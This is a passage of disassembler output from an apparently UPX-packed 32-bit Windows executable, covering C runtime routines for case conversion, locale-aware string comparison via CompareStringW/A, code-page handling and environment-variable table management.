		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40B255
		add	esp, 14h
		jmp	short loc_4164CE
; ---------------------------------------------------------------------------


loc_416505:				; CODE XREF: sub_4164A7+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:430160h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		shl	esi, 6
		mov	ecx, [ebx]
		movsx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_4164E4
		push	eax
		call	sub_414846
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_416546
		push	[ebp+arg_0]
		call	sub_41640B
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_416555
; ---------------------------------------------------------------------------


loc_416546:				; CODE XREF: sub_4164A7+8Fj
		call	sub_40C862
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_416555:				; CODE XREF: sub_4164A7+9Dj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41656A
		mov	eax, [ebp+var_1C]


loc_416564:				; CODE XREF: sub_4164A7+2Aj
		call	__SEH_epilog4
		retn
sub_4164A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41656A	proc near		; CODE XREF: sub_4164A7+B5p
					; DATA XREF: UPX0:00426D70o
		push	dword ptr [ebp+8]
		call	sub_4148E6
		pop	ecx
		retn
sub_41656A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416574	proc near		; CODE XREF: sub_415D19+3Fp

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4165A2
		test	al, 8
		jz	short loc_4165A2
		push	dword ptr [esi+8]
		call	sub_40ADC8
		and	dword ptr [esi+0Ch], 0FFFFFBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_4165A2:				; CODE XREF: sub_416574+Ej
					; sub_416574+12j
		pop	esi
		pop	ebp
		retn
sub_416574	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165A5	proc near		; CODE XREF: sub_41611C+BDp
					; sub_41611C+CFp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_18]
		call	sub_40C799
		mov	ebx, [ebp+arg_0]
		mov	esi, 100h
		cmp	ebx, esi
		jnb	short loc_41661A
		mov	ecx, [ebp+var_18]
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_4165E6
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		push	ebx
		call	sub_41449B
		mov	ecx, [ebp+var_18]
		add	esp, 0Ch
		jmp	short loc_4165F3
; ---------------------------------------------------------------------------


loc_4165E6:				; CODE XREF: sub_4165A5+2Bj
		mov	eax, [ecx+0C8h]
		movzx	eax, word ptr [eax+ebx*2]
		and	eax, 1


loc_4165F3:				; CODE XREF: sub_4165A5+3Fj
		test	eax, eax
		jz	short loc_416606
		mov	eax, [ecx+0CCh]
		movzx	eax, byte ptr [eax+ebx]
		jmp	loc_4166A9
; ---------------------------------------------------------------------------


loc_416606:				; CODE XREF: sub_4165A5+50j
					; sub_4165A5+ECj
		cmp	[ebp+var_C], 0
		jz	short loc_416613
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_416613:				; CODE XREF: sub_4165A5+65j
		mov	eax, ebx
		jmp	loc_4166B6
; ---------------------------------------------------------------------------


loc_41661A:				; CODE XREF: sub_4165A5+1Fj
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_416657
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_4127F4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_416657
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_4], al
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		pop	ecx
		jmp	short loc_41666C
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_4165A5+7Fj
					; sub_4165A5+9Ej
		call	sub_40C862
		mov	dword ptr [eax], 2Ah
		xor	ecx, ecx
		mov	[ebp+var_4], bl
		mov	[ebp+var_3], 0
		inc	ecx


loc_41666C:				; CODE XREF: sub_4165A5+B0j
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+4]
		lea	edx, [ebp+var_8]
		push	3
		push	edx
		push	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_414FA9
		add	esp, 24h
		test	eax, eax
		jz	loc_416606
		cmp	eax, 1
		movzx	eax, [ebp+var_8]
		jz	short loc_4166A9
		movzx	ecx, [ebp+var_7]
		shl	eax, 8
		or	eax, ecx


loc_4166A9:				; CODE XREF: sub_4165A5+5Cj
					; sub_4165A5+F9j
		cmp	[ebp+var_C], 0
		jz	short loc_4166B6
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_4166B6:				; CODE XREF: sub_4165A5+70j
					; sub_4165A5+108j
		pop	esi
		pop	ebx
		leave
		retn
sub_4165A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4166BA	proc near		; CODE XREF: sub_418D6B+1Bp
					; sub_418D6B+38p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		cmp	dword_42ED1C, 0
		jnz	short loc_4166D8
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-41h]
		cmp	ecx, 19h
		ja	short loc_4166E4
		add	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4166D8:				; CODE XREF: sub_4166BA+Cj
		push	0
		push	[ebp+arg_0]
		call	sub_4165A5
		pop	ecx
		pop	ecx


loc_4166E4:				; CODE XREF: sub_4166BA+17j
		pop	ebp
		retn
sub_4166BA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4166F0	proc near		; CODE XREF: sub_41611C+9Cp
					; sub_41620E+44j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	short loc_41674A
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_41670C:				; CODE XREF: sub_4166F0+49j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_41673B
		or	al, al
		jz	short loc_41673B
		add	esi, 1
		add	edi, 1
		cmp	ah, bh
		jb	short loc_416728
		cmp	ah, bl
		ja	short loc_416728
		add	ah, dh


loc_416728:				; CODE XREF: sub_4166F0+30j
					; sub_4166F0+34j
		cmp	al, bh
		jb	short loc_416732
		cmp	al, bl
		ja	short loc_416732
		add	al, dh


loc_416732:				; CODE XREF: sub_4166F0+3Aj
					; sub_4166F0+3Ej
		cmp	ah, al
		jnz	short loc_416741
		sub	ecx, 1
		jnz	short loc_41670C


loc_41673B:				; CODE XREF: sub_4166F0+22j
					; sub_4166F0+26j
		xor	ecx, ecx
		cmp	ah, al
		jz	short loc_41674A


loc_416741:				; CODE XREF: sub_4166F0+44j
		mov	ecx, 0FFFFFFFFh
		jb	short loc_41674A
		neg	ecx


loc_41674A:				; CODE XREF: sub_4166F0+Bj
					; sub_4166F0+4Fj ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4166F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416751	proc near		; CODE XREF: sub_41676F+6Ep
					; sub_41676F+82p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		jmp	short loc_416762
; ---------------------------------------------------------------------------


loc_41675B:				; CODE XREF: sub_416751+13j
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_416767
		inc	eax


loc_416762:				; CODE XREF: sub_416751+8j
		test	ecx, ecx
		jnz	short loc_41675B
		dec	ecx


loc_416767:				; CODE XREF: sub_416751+Ej
		mov	eax, [ebp+arg_0]
		sub	eax, ecx
		dec	eax
		pop	ebp
		retn
sub_416751	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41676F	proc near		; CODE XREF: sub_416ADF+2Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	ebx, edx
		mov	esi, ecx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_1C], eax
		cmp	dword_42EE88, edi
		jnz	short loc_4167D3
		push	1
		mov	eax, offset dword_41E554
		push	eax
		push	1
		push	eax
		push	edi
		push	edi
		call	dword_41D0F0	; CompareStringW
		test	eax, eax
		jz	short loc_4167BE
		mov	dword_42EE88, 1
		jmp	short loc_4167D3
; ---------------------------------------------------------------------------


loc_4167BE:				; CODE XREF: sub_41676F+41j
		call	dword_41D1D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_4167D3
		mov	dword_42EE88, 2


loc_4167D3:				; CODE XREF: sub_41676F+2Aj
					; sub_41676F+4Dj ...
		cmp	[ebp+arg_8], edi
		jle	short loc_4167FE
		push	[ebp+arg_8]
		mov	eax, ebx
		call	sub_416751
		pop	ecx
		mov	[ebp+arg_8], eax


loc_4167E6:				; CODE XREF: sub_41676F+93j
		mov	edx, [ebp+arg_10]
		cmp	edx, edi
		jle	short loc_41680B
		mov	eax, [ebp+var_1C]
		push	edx
		call	sub_416751
		mov	edx, eax
		pop	ecx
		mov	[ebp+arg_10], edx
		jmp	short loc_416810
; ---------------------------------------------------------------------------


loc_4167FE:				; CODE XREF: sub_41676F+67j
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jge	short loc_4167E6


loc_416804:				; CODE XREF: sub_41676F+9Fj
					; sub_41676F+BDj ...
		xor	eax, eax
		jmp	loc_416ACD
; ---------------------------------------------------------------------------


loc_41680B:				; CODE XREF: sub_41676F+7Cj
		cmp	edx, 0FFFFFFFFh
		jl	short loc_416804


loc_416810:				; CODE XREF: sub_41676F+8Dj
		mov	ecx, dword_42EE88
		cmp	ecx, 2
		jz	loc_416A18
		cmp	ecx, edi
		jz	loc_416A18
		xor	eax, eax
		inc	eax
		cmp	ecx, eax
		jnz	short loc_416804
		mov	[ebp+var_28], edi
		cmp	[ebp+arg_14], edi
		jnz	short loc_41683E
		mov	ecx, [esi]
		mov	ecx, [ecx+4]
		mov	[ebp+arg_14], ecx


loc_41683E:				; CODE XREF: sub_41676F+C5j
		cmp	[ebp+arg_8], edi
		jz	short loc_41684B
		cmp	edx, edi
		jnz	loc_4168E5


loc_41684B:				; CODE XREF: sub_41676F+D2j
		cmp	[ebp+arg_8], edx
		jnz	short loc_416858


loc_416850:				; CODE XREF: sub_41676F+12Ej
					; sub_41676F+167j
		push	2


loc_416852:				; CODE XREF: sub_41676F+F8j
		pop	eax
		jmp	loc_416ACD
; ---------------------------------------------------------------------------


loc_416858:				; CODE XREF: sub_41676F+DFj
		cmp	edx, eax
		jg	loc_416ACD
		cmp	[ebp+arg_8], eax
		jle	short loc_416869


loc_416865:				; CODE XREF: sub_41676F+114j
					; sub_41676F+11Dj ...
		push	3
		jmp	short loc_416852
; ---------------------------------------------------------------------------


loc_416869:				; CODE XREF: sub_41676F+F4j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_14]
		call	dword_41D138	; GetCPInfo
		test	eax, eax
		jz	short loc_416804
		cmp	[ebp+arg_8], edi
		jle	short loc_4168A8
		cmp	[ebp+var_18], 2
		jb	short loc_416865
		cmp	[ebp+var_12], 0
		lea	eax, [ebp+var_12]
		jz	short loc_416865


loc_41688E:				; CODE XREF: sub_41676F+135j
		mov	dl, [eax+1]
		test	dl, dl
		jz	short loc_416865
		mov	cl, [ebx]
		cmp	cl, [eax]
		jb	short loc_41689F
		cmp	cl, dl
		jbe	short loc_416850


loc_41689F:				; CODE XREF: sub_41676F+12Aj
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41688E
		jmp	short loc_416865
; ---------------------------------------------------------------------------


loc_4168A8:				; CODE XREF: sub_41676F+10Ej
		cmp	[ebp+arg_10], edi
		jle	short loc_4168E5
		cmp	[ebp+var_18], 2
		jnb	short loc_4168BB


loc_4168B3:				; CODE XREF: sub_41676F+153j
					; sub_41676F+15Aj ...
		xor	eax, eax
		inc	eax
		jmp	loc_416ACD
; ---------------------------------------------------------------------------


loc_4168BB:				; CODE XREF: sub_41676F+142j
		cmp	[ebp+var_12], 0
		lea	eax, [ebp+var_12]
		jz	short loc_4168B3


loc_4168C4:				; CODE XREF: sub_41676F+172j
		mov	dl, [eax+1]
		test	dl, dl
		jz	short loc_4168B3
		mov	ecx, [ebp+var_1C]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_4168DC
		cmp	cl, dl
		jbe	loc_416850


loc_4168DC:				; CODE XREF: sub_41676F+163j
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4168C4
		jmp	short loc_4168B3
; ---------------------------------------------------------------------------


loc_4168E5:				; CODE XREF: sub_41676F+D6j
					; sub_41676F+13Cj
		mov	esi, dword_41D1F4
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	ebx
		push	9
		push	[ebp+arg_14]
		call	esi ; dword_41D1F4
		mov	ebx, eax
		mov	[ebp+var_2C], ebx
		cmp	ebx, edi
		jz	loc_416804
		mov	edi, 400h
		test	ebx, ebx
		jle	short loc_41694E
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ebx
		cmp	eax, 2
		jb	short loc_41694E
		lea	eax, [ebx+ebx+8]
		cmp	eax, edi
		ja	short loc_416935
		call	sub_4160F0
		mov	eax, esp
		test	eax, eax
		jz	short loc_416949
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_416946
; ---------------------------------------------------------------------------


loc_416935:				; CODE XREF: sub_41676F+1B1j
		push	eax
		call	sub_40AEA5
		pop	ecx
		test	eax, eax
		jz	short loc_416949
		mov	dword ptr [eax], 0DDDDh


loc_416946:				; CODE XREF: sub_41676F+1C4j
		add	eax, 8


loc_416949:				; CODE XREF: sub_41676F+1BCj
					; sub_41676F+1CFj
		mov	[ebp+var_20], eax
		jmp	short loc_416952
; ---------------------------------------------------------------------------


loc_41694E:				; CODE XREF: sub_41676F+19Dj
					; sub_41676F+1A9j
		and	[ebp+var_20], 0


loc_416952:				; CODE XREF: sub_41676F+1DDj
		cmp	[ebp+var_20], 0
		jz	loc_416804
		push	ebx
		push	[ebp+var_20]
		push	[ebp+arg_8]
		push	[ebp+var_24]
		push	1
		push	[ebp+arg_14]
		call	esi ; dword_41D1F4
		test	eax, eax
		jz	loc_416A07
		push	0
		push	0
		push	[ebp+arg_10]
		push	[ebp+var_1C]
		push	9
		push	[ebp+arg_14]
		call	esi ; dword_41D1F4
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_416A07
		jle	short loc_4169D0
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ebx
		cmp	eax, 2
		jb	short loc_4169D0
		lea	eax, [ebx+ebx+8]
		cmp	eax, edi
		ja	short loc_4169B8
		call	sub_4160F0
		mov	edi, esp
		test	edi, edi
		jz	short loc_416A07
		mov	dword ptr [edi], 0CCCCh
		add	edi, 8
		jmp	short loc_4169D2
; ---------------------------------------------------------------------------


loc_4169B8:				; CODE XREF: sub_41676F+231j
		push	eax
		call	sub_40AEA5
		pop	ecx
		test	eax, eax
		jz	short loc_4169CC
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8


loc_4169CC:				; CODE XREF: sub_41676F+252j
		mov	edi, eax
		jmp	short loc_4169D2
; ---------------------------------------------------------------------------


loc_4169D0:				; CODE XREF: sub_41676F+21Dj
					; sub_41676F+229j
		xor	edi, edi


loc_4169D2:				; CODE XREF: sub_41676F+247j
					; sub_41676F+25Fj
		test	edi, edi
		jz	short loc_416A07
		push	ebx
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_1C]
		push	1
		push	[ebp+arg_14]
		call	esi ; dword_41D1F4
		test	eax, eax
		jz	short loc_416A00
		push	ebx
		push	edi
		push	[ebp+var_2C]
		push	[ebp+var_20]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41D0F0	; CompareStringW
		mov	[ebp+var_28], eax


loc_416A00:				; CODE XREF: sub_41676F+278j
		push	edi
		call	sub_401000
		pop	ecx


loc_416A07:				; CODE XREF: sub_41676F+200j
					; sub_41676F+21Bj ...
		push	[ebp+var_20]
		call	sub_401000
		mov	eax, [ebp+var_28]
		pop	ecx
		jmp	loc_416ACD
; ---------------------------------------------------------------------------


loc_416A18:				; CODE XREF: sub_41676F+AAj
					; sub_41676F+B2j
		xor	edi, edi
		xor	ebx, ebx
		cmp	[ebp+arg_0], edi
		jnz	short loc_416A29
		mov	eax, [esi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_0], eax


loc_416A29:				; CODE XREF: sub_41676F+2B0j
		cmp	[ebp+arg_14], edi
		jnz	short loc_416A36
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_14], eax


loc_416A36:				; CODE XREF: sub_41676F+2BDj
		push	[ebp+arg_0]
		call	sub_415EED
		mov	esi, eax
		pop	ecx
		cmp	esi, 0FFFFFFFFh
		jz	loc_416804
		cmp	esi, [ebp+arg_14]
		jz	short loc_416A9F
		push	0
		push	0
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_14]
		call	sub_415F36
		mov	ebx, eax
		add	esp, 18h
		test	ebx, ebx
		jz	loc_416804
		push	0
		push	0
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+var_1C]
		push	esi
		push	[ebp+arg_14]
		call	sub_415F36
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		jnz	short loc_416A99
		push	ebx
		call	sub_40ADC8
		pop	ecx
		jmp	loc_416804
; ---------------------------------------------------------------------------


loc_416A99:				; CODE XREF: sub_41676F+31Cj
		mov	[ebp+var_24], ebx
		mov	[ebp+var_1C], edi


loc_416A9F:				; CODE XREF: sub_41676F+2DEj
		push	[ebp+arg_10]
		push	[ebp+var_1C]
		push	[ebp+arg_8]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41D0F4	; CompareStringA
		mov	esi, eax
		test	ebx, ebx
		jz	short loc_416ACB
		push	ebx
		call	sub_40ADC8
		push	edi
		call	sub_40ADC8
		pop	ecx
		pop	ecx


loc_416ACB:				; CODE XREF: sub_41676F+34Cj
		mov	eax, esi


loc_416ACD:				; CODE XREF: sub_41676F+97j
					; sub_41676F+E4j ...
		lea	esp, [ebp-38h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		leave
		retn
sub_41676F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ADF	proc near		; CODE XREF: sub_41626C+BFp
					; sub_416B21+C0p

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		push	[ebp+arg_1C]
		mov	edx, [ebp+arg_C]
		push	[ebp+arg_18]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_41676F
		add	esp, 18h
		cmp	[ebp+var_4], 0
		jz	short locret_416B1F
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_416B1F:				; CODE XREF: sub_416ADF+37j
		leave
		retn
sub_416ADF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B21	proc near		; CODE XREF: sub_41626C+9Ep

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		mov	edx, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edx, ebx
		jnz	short loc_416B51
		cmp	[ebp+var_4], bl
		jz	short loc_416B4A
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_416B4A:				; CODE XREF: sub_416B21+20j
		xor	eax, eax
		jmp	loc_416C18
; ---------------------------------------------------------------------------


loc_416B51:				; CODE XREF: sub_416B21+1Bj
		cmp	[ebp+arg_0], ebx
		jnz	short loc_416B84


loc_416B56:				; CODE XREF: sub_416B21+66j
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_416B7A
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_416B7A:				; CODE XREF: sub_416B21+50j
		mov	eax, 7FFFFFFFh
		jmp	loc_416C18
; ---------------------------------------------------------------------------


loc_416B84:				; CODE XREF: sub_416B21+33j
		cmp	[ebp+arg_4], ebx
		jz	short loc_416B56
		push	esi
		mov	esi, 7FFFFFFFh
		cmp	edx, esi
		jbe	short loc_416BAD
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		jmp	short loc_416BF8
; ---------------------------------------------------------------------------


loc_416BAD:				; CODE XREF: sub_416B21+70j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+10h]
		cmp	ecx, ebx
		jnz	short loc_416BCC
		lea	eax, [ebp+var_10]
		push	eax
		push	edx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41611C
		add	esp, 10h
		jmp	short loc_416C0B
; ---------------------------------------------------------------------------


loc_416BCC:				; CODE XREF: sub_416B21+94j
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_10]
		push	edx
		push	[ebp+arg_4]
		push	edx
		push	[ebp+arg_0]
		push	1001h
		push	ecx
		push	eax
		call	sub_416ADF
		add	esp, 20h
		cmp	eax, ebx
		jnz	short loc_416C08
		call	sub_40C862
		mov	dword ptr [eax], 16h


loc_416BF8:				; CODE XREF: sub_416B21+8Aj
		cmp	[ebp+var_4], bl
		jz	short loc_416C04
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_416C04:				; CODE XREF: sub_416B21+DAj
		mov	eax, esi
		jmp	short loc_416C17
; ---------------------------------------------------------------------------


loc_416C08:				; CODE XREF: sub_416B21+CAj
		add	eax, 0FFFFFFFEh


loc_416C0B:				; CODE XREF: sub_416B21+A9j
		cmp	[ebp+var_4], bl
		jz	short loc_416C17
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_416C17:				; CODE XREF: sub_416B21+E5j
					; sub_416B21+EDj
		pop	esi


loc_416C18:				; CODE XREF: sub_416B21+2Bj
					; sub_416B21+5Ej
		pop	ebx
		leave
		retn
sub_416B21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C1B	proc near		; CODE XREF: sub_416CC7+EDp

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, dword_42E88C
		jmp	short loc_416C4A
; ---------------------------------------------------------------------------


loc_416C29:				; CODE XREF: sub_416C1B+33j
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41635A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416C47
		mov	eax, [esi]
		mov	al, [edi+eax]
		cmp	al, 3Dh
		jz	short loc_416C60
		test	al, al
		jz	short loc_416C60


loc_416C47:				; CODE XREF: sub_416C1B+1Dj
		add	esi, 4


loc_416C4A:				; CODE XREF: sub_416C1B+Cj
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_416C29
		mov	eax, esi
		sub	eax, dword_42E88C
		sar	eax, 2
		neg	eax


loc_416C5D:				; CODE XREF: sub_416C1B+50j
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416C60:				; CODE XREF: sub_416C1B+26j
					; sub_416C1B+2Aj
		mov	eax, esi
		sub	eax, dword_42E88C
		sar	eax, 2
		jmp	short loc_416C5D
sub_416C1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C6D	proc near		; CODE XREF: sub_416CC7+6Cp

var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	edi, eax
		xor	eax, eax
		mov	ecx, edi
		test	edi, edi
		jz	short loc_416CC4
		cmp	[edi], eax
		jz	short loc_416C8B


loc_416C82:				; CODE XREF: sub_416C6D+1Cj
		add	ecx, 4
		inc	eax
		cmp	dword ptr [ecx], 0
		jnz	short loc_416C82


loc_416C8B:				; CODE XREF: sub_416C6D+13j
		push	esi
		inc	eax
		push	4
		push	eax
		call	sub_40EF6F
		mov	esi, eax
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], esi
		test	esi, esi
		jnz	short loc_416CB8
		push	9
		call	sub_40DAD0
		jmp	short loc_416CB7
; ---------------------------------------------------------------------------


loc_416CA9:				; CODE XREF: sub_416C6D+4Fj
		push	eax
		call	sub_416F12
		mov	[esi], eax
		add	esi, 4
		add	edi, 4


loc_416CB7:				; CODE XREF: sub_416C6D+3Aj
		pop	ecx


loc_416CB8:				; CODE XREF: sub_416C6D+31j
		mov	eax, [edi]
		test	eax, eax
		jnz	short loc_416CA9
		and	[esi], eax
		mov	eax, [ebp+var_4]
		pop	esi


loc_416CC4:				; CODE XREF: sub_416C6D+Fj
		pop	edi
		leave
		retn
sub_416C6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC7	proc near		; CODE XREF: sub_416374+5Bp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_C], ebx
		cmp	eax, ebx
		jnz	short loc_416CF9
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_416D67
; ---------------------------------------------------------------------------


loc_416CF9:				; CODE XREF: sub_416CC7+13j
		push	esi
		mov	esi, [eax]
		push	edi
		mov	[ebp+var_4], esi
		cmp	esi, ebx
		jz	short loc_416D57
		push	3Dh
		push	esi
		call	sub_4143B1
		mov	edi, eax
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], edi
		cmp	edi, ebx
		jz	short loc_416D57
		cmp	esi, edi
		jz	short loc_416D57
		xor	eax, eax
		cmp	[edi+1], bl
		setz	al
		mov	[ebp+var_8], eax
		mov	eax, dword_42E88C
		cmp	eax, dword_42E890
		jnz	short loc_416D3D
		call	sub_416C6D
		mov	dword_42E88C, eax


loc_416D3D:				; CODE XREF: sub_416CC7+6Aj
		cmp	eax, ebx
		jnz	short loc_416DA1
		cmp	[ebp+arg_4], ebx
		jz	short loc_416D6A
		cmp	dword_42E894, ebx
		jz	short loc_416D6A
		call	sub_416374
		test	eax, eax
		jz	short loc_416DA1


